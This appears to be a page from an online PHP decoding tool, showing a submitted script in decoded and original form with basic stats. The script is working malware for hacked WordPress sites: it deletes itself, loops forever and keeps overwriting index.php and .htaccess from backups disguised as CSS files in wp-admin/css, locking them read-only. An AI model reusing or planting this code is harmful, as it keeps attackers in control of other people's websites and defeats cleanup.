Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @unlink($_SERVER['SCRIPT_FILENAME']); error_reporting(0); ignore_user_abort(true)..

Decoded Output download

<?php 
@unlink($_SERVER['SCRIPT_FILENAME']); 
error_reporting(0); 
ignore_user_abort(true); 
set_time_limit(0);   
$index = $_SERVER['DOCUMENT_ROOT'].'/index.php'; 
$ht = $_SERVER['DOCUMENT_ROOT'].'/.htaccess'; 
$bkindex = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/index.css'; 
$bkht = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/htaccess.css';  
while (1==1) { 
         if(!file_exists($index) or (filesize($index) != filesize($bkindex))){ 
		 
		@chmod($index,0644); 
		@file_put_contents($index,file_get_contents($bkindex)); 
		@chmod($index,0444); 
	   } 
         elseif(!file_exists($ht) or (filesize($ht) != filesize($bkht))){ 
		 
		@chmod($ht,0644); 
		@file_put_contents($ht,file_get_contents($bkht)); 
		@chmod($ht,0444); 
	   } 
         else { 
             chmod($index, 0444); 
           } 
           usleep(500000); 
}; 
?>

Did this file decode correctly?

Original Code

<?php
@unlink($_SERVER['SCRIPT_FILENAME']);
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);  
$index = $_SERVER['DOCUMENT_ROOT'].'/index.php';
$ht = $_SERVER['DOCUMENT_ROOT'].'/.htaccess';
$bkindex = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/index.css';
$bkht = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/htaccess.css'; 
while (1==1) {
         if(!file_exists($index) or (filesize($index) != filesize($bkindex))){
		
		@chmod($index,0644);
		@file_put_contents($index,file_get_contents($bkindex));
		@chmod($index,0444);
	   }
         elseif(!file_exists($ht) or (filesize($ht) != filesize($bkht))){
		
		@chmod($ht,0644);
		@file_put_contents($ht,file_get_contents($bkht));
		@chmod($ht,0444);
	   }
         else {
             chmod($index, 0444);
           }
           usleep(500000);
};
?>

Function Calls

unlink 1

Variables

None

Stats

MD5 8cabe738107ffa7b4cb6487732490047
Eval Count 0
Decode Time 81 ms